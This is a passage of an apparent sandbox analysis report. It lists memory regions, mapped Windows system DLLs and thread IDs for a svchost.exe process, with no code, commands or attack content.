pagefile_backed name = "pagefile_0x0000000000480000" filename = "" Region: id = 1237 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1238 start_va = 0x550000 end_va = 0x556fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 1239 start_va = 0x560000 end_va = 0x560fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000560000" filename = "" Region: id = 1240 start_va = 0x570000 end_va = 0x576fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 1241 start_va = 0x580000 end_va = 0x5e3fff monitored = 0 entry_point = 0x595ae0 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 1242 start_va = 0x5f0000 end_va = 0x5f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 1243 start_va = 0x600000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 1244 start_va = 0x700000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 1245 start_va = 0x800000 end_va = 0x987fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000800000" filename = "" Region: id = 1246 start_va = 0x990000 end_va = 0xb10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000990000" filename = "" Region: id = 1247 start_va = 0xba0000 end_va = 0xba0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ba0000" filename = "" Region: id = 1248 start_va = 0xc20000 end_va = 0xc26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c20000" filename = "" Region: id = 1249 start_va = 0xc30000 end_va = 0xcaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c30000" filename = "" Region: id = 1250 start_va = 0xcb0000 end_va = 0xccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cb0000" filename = "" Region: id = 1251 start_va = 0xcd0000 end_va = 0xceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cd0000" filename = "" Region: id = 1252 start_va = 0xcf0000 end_va = 0xcf0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cf0000" filename = "" Region: id = 1253 start_va = 0xd00000 end_va = 0xdfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d00000" filename = "" Region: id = 1254 start_va = 0xe00000 end_va = 0xefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 1255 start_va = 0xf00000 end_va = 0xf00fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f00000" filename = "" Region: id = 1256 start_va = 0xf10000 end_va = 0xf8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f10000" filename = "" Region: id = 1257 start_va = 0x1000000 end_va = 0x10fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001000000" filename = "" Region: id = 1258 start_va = 0x1120000 end_va = 0x1126fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001120000" filename = "" Region: id = 1259 start_va = 0x1130000 end_va = 0x11affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001130000" filename = "" Region: id = 1260 start_va = 0x1200000 end_va = 0x12fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001200000" filename = "" Region: id = 1261 start_va = 0x1300000 end_va = 0x137ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001300000" filename = "" Region: id = 1262 start_va = 0x1380000 end_va = 0x13fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001380000" filename = "" Region: id = 1263 start_va = 0x1400000 end_va = 0x147ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001400000" filename = "" Region: id = 1264 start_va = 0x1480000 end_va = 0x14fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001480000" filename = "" Region: id = 1265 start_va = 0x1500000 end_va = 0x157ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001500000" filename = "" Region: id = 1266 start_va = 0x1590000 end_va = 0x168ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001590000" filename = "" Region: id = 1267 start_va = 0x1700000 end_va = 0x17fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001700000" filename = "" Region: id = 1268 start_va = 0x1800000 end_va = 0x18fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001800000" filename = "" Region: id = 1269 start_va = 0x1900000 end_va = 0x19fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001900000" filename = "" Region: id = 1270 start_va = 0x1a00000 end_va = 0x1afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a00000" filename = "" Region: id = 1271 start_va = 0x1b00000 end_va = 0x1bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b00000" filename = "" Region: id = 1272 start_va = 0x1c00000 end_va = 0x1cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c00000" filename = "" Region: id = 1273 start_va = 0x1d00000 end_va = 0x2036fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1274 start_va = 0x2040000 end_va = 0x213ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002040000" filename = "" Region: id = 1275 start_va = 0x2140000 end_va = 0x221ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 1276 start_va = 0x2220000 end_va = 0x231ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 1277 start_va = 0x2320000 end_va = 0x241ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002320000" filename = "" Region: id = 1278 start_va = 0x2420000 end_va = 0x251ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002420000" filename = "" Region: id = 1279 start_va = 0x2520000 end_va = 0x261ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002520000" filename = "" Region: id = 1280 start_va = 0x2700000 end_va = 0x27fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002700000" filename = "" Region: id = 1281 start_va = 0x2800000 end_va = 0x28fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002800000" filename = "" Region: id = 1282 start_va = 0x2900000 end_va = 0x29fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 1283 start_va = 0x2a00000 end_va = 0x2afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a00000" filename = "" Region: id = 1284 start_va = 0x2b00000 end_va = 0x2bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b00000" filename = "" Region: id = 1285 start_va = 0x2c00000 end_va = 0x2cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c00000" filename = "" Region: id = 1286 start_va = 0x2d00000 end_va = 0x2dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d00000" filename = "" Region: id = 1287 start_va = 0x2e00000 end_va = 0x2efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e00000" filename = "" Region: id = 1288 start_va = 0x2f00000 end_va = 0x2ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002f00000" filename = "" Region: id = 1289 start_va = 0x3000000 end_va = 0x30fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003000000" filename = "" Region: id = 1290 start_va = 0x3100000 end_va = 0x31fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003100000" filename = "" Region: id = 1291 start_va = 0x3200000 end_va = 0x32fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003200000" filename = "" Region: id = 1292 start_va = 0x3300000 end_va = 0x33fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003300000" filename = "" Region: id = 1293 start_va = 0x3500000 end_va = 0x35fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003500000" filename = "" Region: id = 1294 start_va = 0x3600000 end_va = 0x36fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003600000" filename = "" Region: id = 1295 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1296 start_va = 0x7df5ffec0000 end_va = 0x7df5fffbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffec0000" filename = "" Region: id = 1297 start_va = 0x7df5fffc0000 end_va = 0x7df5fffe2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5fffc0000" filename = "" Region: id = 1298 start_va = 0x7df5ffff0000 end_va = 0x7ff5fffeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffff0000" filename = "" Region: id = 1299 start_va = 0x7ff681250000 end_va = 0x7ff68125cfff monitored = 0 entry_point = 0x7ff681253980 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 1300 start_va = 0x7ff9fbe60000 end_va = 0x7ff9fbe92fff monitored = 0 entry_point = 0x7ff9fbe6ae20 region_type = mapped_file name = "wscsvc.dll" filename = "\\Windows\\System32\\wscsvc.dll" (normalized: "c:\\windows\\system32\\wscsvc.dll") Region: id = 1301 start_va = 0x7ffa07cc0000 end_va = 0x7ffa07cd3fff monitored = 0 entry_point = 0x7ffa07cc1800 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1302 start_va = 0x7ffa07ce0000 end_va = 0x7ffa07dd5fff monitored = 0 entry_point = 0x7ffa07d19590 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1303 start_va = 0x7ffa08390000 end_va = 0x7ffa083a0fff monitored = 0 entry_point = 0x7ffa08392fc0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 1304 start_va = 0x7ffa09490000 end_va = 0x7ffa0950efff monitored = 0 entry_point = 0x7ffa094a7110 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 1305 start_va = 0x7ffa0b7a0000 end_va = 0x7ffa0b7aafff monitored = 0 entry_point = 0x7ffa0b7a1d30 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1306 start_va = 0x7ffa0b7b0000 end_va = 0x7ffa0b7f7fff monitored = 0 entry_point = 0x7ffa0b7ba1e0 region_type = mapped_file name = "dhcpcore6.dll" filename = "\\Windows\\System32\\dhcpcore6.dll" (normalized: "c:\\windows\\system32\\dhcpcore6.dll") Region: id = 1307 start_va = 0x7ffa0b8c0000 end_va = 0x7ffa0b91cfff monitored = 0 entry_point = 0x7ffa0b8d2bf0 region_type = mapped_file name = "dhcpcore.dll" filename = "\\Windows\\System32\\dhcpcore.dll" (normalized: "c:\\windows\\system32\\dhcpcore.dll") Region: id = 1308 start_va = 0x7ffa0b9f0000 end_va = 0x7ffa0ba09fff monitored = 0 entry_point = 0x7ffa0b9f2430 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 1309 start_va = 0x7ffa0ba10000 end_va = 0x7ffa0ba25fff monitored = 0 entry_point = 0x7ffa0ba119f0 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 1310 start_va = 0x7ffa0ba70000 end_va = 0x7ffa0ba7dfff monitored = 0 entry_point = 0x7ffa0ba72e50 region_type = mapped_file name = "cmintegrator.dll" filename = "\\Windows\\System32\\cmintegrator.dll" (normalized: "c:\\windows\\system32\\cmintegrator.dll") Region: id = 1311 start_va = 0x7ffa0ba80000 end_va = 0x7ffa0bab7fff monitored = 0 entry_point = 0x7ffa0ba868f0 region_type = mapped_file name = "wcmcsp.dll" filename = "\\Windows\\System32\\wcmcsp.dll" (normalized: "c:\\windows\\system32\\wcmcsp.dll") Region: id = 1312 start_va = 0x7ffa0baf0000 end_va = 0x7ffa0bb27fff monitored = 0 entry_point = 0x7ffa0bb08cc0 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1313 start_va = 0x7ffa0bb30000 end_va = 0x7ffa0bbc8fff monitored = 0 entry_point = 0x7ffa0bb4a090 region_type = mapped_file name = "wcmsvc.dll" filename = "\\Windows\\System32\\wcmsvc.dll" (normalized: "c:\\windows\\system32\\wcmsvc.dll") Region: id = 1314 start_va = 0x7ffa0c7c0000 end_va = 0x7ffa0c8cafff monitored = 0 entry_point = 0x7ffa0c802610 region_type = mapped_file name = "audiosrv.dll" filename = "\\Windows\\System32\\audiosrv.dll" (normalized: "c:\\windows\\system32\\audiosrv.dll") Region: id = 1315 start_va = 0x7ffa0c9c0000 end_va = 0x7ffa0ca2ffff monitored = 0 entry_point = 0x7ffa0c9e2960 region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 1316 start_va = 0x7ffa0e910000 end_va = 0x7ffa0eac0fff monitored = 0 entry_point = 0x7ffa0e963690 region_type = mapped_file name = "wevtsvc.dll" filename = "\\Windows\\System32\\wevtsvc.dll" (normalized: "c:\\windows\\system32\\wevtsvc.dll") Region: id = 1317 start_va = 0x7ffa0ed60000 end_va = 0x7ffa0ee27fff monitored = 0 entry_point = 0x7ffa0eda13f0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 1318 start_va = 0x7ffa0f3e0000 end_va = 0x7ffa0f3f0fff monitored = 0 entry_point = 0x7ffa0f3e3320 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 1319 start_va = 0x7ffa0ff00000 end_va = 0x7ffa0ff08fff monitored = 0 entry_point = 0x7ffa0ff019a0 region_type = mapped_file name = "nrpsrv.dll" filename = "\\Windows\\System32\\nrpsrv.dll" (normalized: "c:\\windows\\system32\\nrpsrv.dll") Region: id = 1320 start_va = 0x7ffa0ff10000 end_va = 0x7ffa0ff1afff monitored = 0 entry_point = 0x7ffa0ff11cd0 region_type = mapped_file name = "lmhsvc.dll" filename = "\\Windows\\System32\\lmhsvc.dll" (normalized: "c:\\windows\\system32\\lmhsvc.dll") Region: id = 1321 start_va = 0x7ffa0ff30000 end_va = 0x7ffa0ff47fff monitored = 0 entry_point = 0x7ffa0ff35910 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 1322 start_va = 0x7ffa11220000 end_va = 0x7ffa113a5fff monitored = 0 entry_point = 0x7ffa1126d700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 1323 start_va = 0x7ffa11410000 end_va = 0x7ffa11422fff monitored = 0 entry_point = 0x7ffa11412760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 1324 start_va = 0x7ffa117d0000 end_va = 0x7ffa117f6fff monitored = 0 entry_point = 0x7ffa117d7940 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1325 start_va = 0x7ffa11800000 end_va = 0x7ffa118a9fff monitored = 0 entry_point = 0x7ffa11827910 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1326 start_va = 0x7ffa11b10000 end_va = 0x7ffa11b41fff monitored = 0 entry_point = 0x7ffa11b22340 region_type = mapped_file name = "fwbase.dll" filename = "\\Windows\\System32\\fwbase.dll" (normalized: "c:\\windows\\system32\\fwbase.dll") Region: id = 1327 start_va = 0x7ffa11d90000 end_va = 0x7ffa11db3fff monitored = 0 entry_point = 0x7ffa11d93260 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 1328 start_va = 0x7ffa11f30000 end_va = 0x7ffa12023fff monitored = 0 entry_point = 0x7ffa11f3a960 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 1329 start_va = 0x7ffa121a0000 end_va = 0x7ffa121abfff monitored = 0 entry_point = 0x7ffa121a27e0 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1330 start_va = 0x7ffa12280000 end_va = 0x7ffa122b0fff monitored = 0 entry_point = 0x7ffa12287d10 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1331 start_va = 0x7ffa124f0000 end_va = 0x7ffa1250efff monitored = 0 entry_point = 0x7ffa124f5d30 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1332 start_va = 0x7ffa12660000 end_va = 0x7ffa126bbfff monitored = 0 entry_point = 0x7ffa12676f70 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 1333 start_va = 0x7ffa12830000 end_va = 0x7ffa1283afff monitored = 0 entry_point = 0x7ffa128319a0 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1334 start_va = 0x7ffa12a10000 end_va = 0x7ffa12a3cfff monitored = 0 entry_point = 0x7ffa12a29d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1335 start_va = 0x7ffa12ba0000 end_va = 0x7ffa12bf5fff monitored = 0 entry_point = 0x7ffa12bb0bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 1336 start_va = 0x7ffa12c20000 end_va = 0x7ffa12c48fff monitored = 0 entry_point = 0x7ffa12c34530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1337 start_va = 0x7ffa12d90000 end_va = 0x7ffa12da3fff monitored = 0 entry_point = 0x7ffa12d952e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1338 start_va = 0x7ffa12db0000 end_va = 0x7ffa12dbffff monitored = 0 entry_point = 0x7ffa12db56e0 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1339 start_va = 0x7ffa12dc0000 end_va = 0x7ffa12e0afff monitored = 0 entry_point = 0x7ffa12dc35f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 1340 start_va = 0x7ffa12e10000 end_va = 0x7ffa12e1efff monitored = 0 entry_point = 0x7ffa12e13210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 1341 start_va = 0x7ffa12f40000 end_va = 0x7ffa13106fff monitored = 0 entry_point = 0x7ffa12f9db80 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1342 start_va = 0x7ffa13130000 end_va = 0x7ffa13317fff monitored = 0 entry_point = 0x7ffa1315ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1343 start_va = 0x7ffa13320000 end_va = 0x7ffa13389fff monitored = 0 entry_point = 0x7ffa13356d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 1344 start_va = 0x7ffa13390000 end_va = 0x7ffa133d2fff monitored = 0 entry_point = 0x7ffa133a4b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1345 start_va = 0x7ffa133e0000 end_va = 0x7ffa13465fff monitored = 0 entry_point = 0x7ffa133ed8f0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 1346 start_va = 0x7ffa13b70000 end_va = 0x7ffa13cb2fff monitored = 0 entry_point = 0x7ffa13b98210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1347 start_va = 0x7ffa13cc0000 end_va = 0x7ffa13d5cfff monitored = 0 entry_point = 0x7ffa13cc78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1348 start_va = 0x7ffa13d60000 end_va = 0x7ffa13d67fff monitored = 0 entry_point = 0x7ffa13d61ea0 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1349 start_va = 0x7ffa13d80000 end_va = 0x7ffa13ed5fff monitored = 0 entry_point = 0x7ffa13d8a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1350 start_va = 0x7ffa13ee0000 end_va = 0x7ffa14065fff monitored = 0 entry_point = 0x7ffa13f2ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1351 start_va = 0x7ffa14070000 end_va = 0x7ffa140cafff monitored = 0 entry_point = 0x7ffa140838b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1352 start_va = 0x7ffa14220000 end_va = 0x7ffa142c6fff monitored = 0 entry_point = 0x7ffa1422b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1353 start_va = 0x7ffa14340000 end_va = 0x7ffa145bcfff monitored = 0 entry_point = 0x7ffa14414970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 1354 start_va = 0x7ffa145c0000 end_va = 0x7ffa146dbfff monitored = 0 entry_point = 0x7ffa146002b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1355 start_va = 0x7ffa146e0000 end_va = 0x7ffa1474afff monitored = 0 entry_point = 0x7ffa146f90c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1356 start_va = 0x7ffa147c0000 end_va = 0x7ffa14880fff monitored = 0 entry_point = 0x7ffa147e0da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1357 start_va = 0x7ffa15090000 end_va = 0x7ffa15136fff monitored = 0 entry_point = 0x7ffa150a58d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1358 start_va = 0x7ffa15160000 end_va = 0x7ffa1520cfff monitored = 0 entry_point = 0x7ffa151781a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1359 start_va = 0x7ffa16770000 end_va = 0x7ffa16930fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1375 start_va = 0x3700000 end_va = 0x3865fff monitored = 0 entry_point = 0x37479f0 region_type = mapped_file name = "diagperf.dll" filename = "\\Windows\\System32\\diagperf.dll" (normalized: "c:\\windows\\system32\\diagperf.dll") Region: id = 1377 start_va = 0xb20000 end_va = 0xb29fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "aeevts.dll" filename = "\\Windows\\System32\\aeevts.dll" (normalized: "c:\\windows\\system32\\aeevts.dll") Thread: id = 114 os_tid = 0x106c Thread: id = 115 os_tid = 0x1068 Thread: id = 116 os_tid = 0x1030 Thread: id = 117 os_tid = 0x1004 Thread: id = 118 os_tid = 0x7a8 Thread: id = 119 os_tid = 0xa10 Thread: id = 120 os_tid = 0x824 Thread: id = 121 os_tid = 0x878 Thread: id = 122 os_tid = 0xac8 Thread: id = 123 os_tid = 0xa08 Thread: id = 124 os_tid = 0xae4 Thread: id = 125 os_tid = 0xbc0 Thread: id = 126 os_tid = 0x478 Thread: id = 127 os_tid = 0x468 Thread: id = 128 os_tid = 0x458 Thread: id = 129 os_tid = 0x450 Thread: id = 130 os_tid = 0x44c Thread: id = 131 os_tid = 0x434 Thread: id = 132 os_tid = 0x42c Thread: id = 133 os_tid = 0x8 Thread: id = 134 os_tid = 0x348 Thread: id = 135 os_tid = 0x324 Thread: id = 136 os_tid = 0x2f4 Thread: id = 137 os_tid = 0x174 Thread: id = 138 os_tid = 0x284 Thread: id = 139 os_tid = 0x394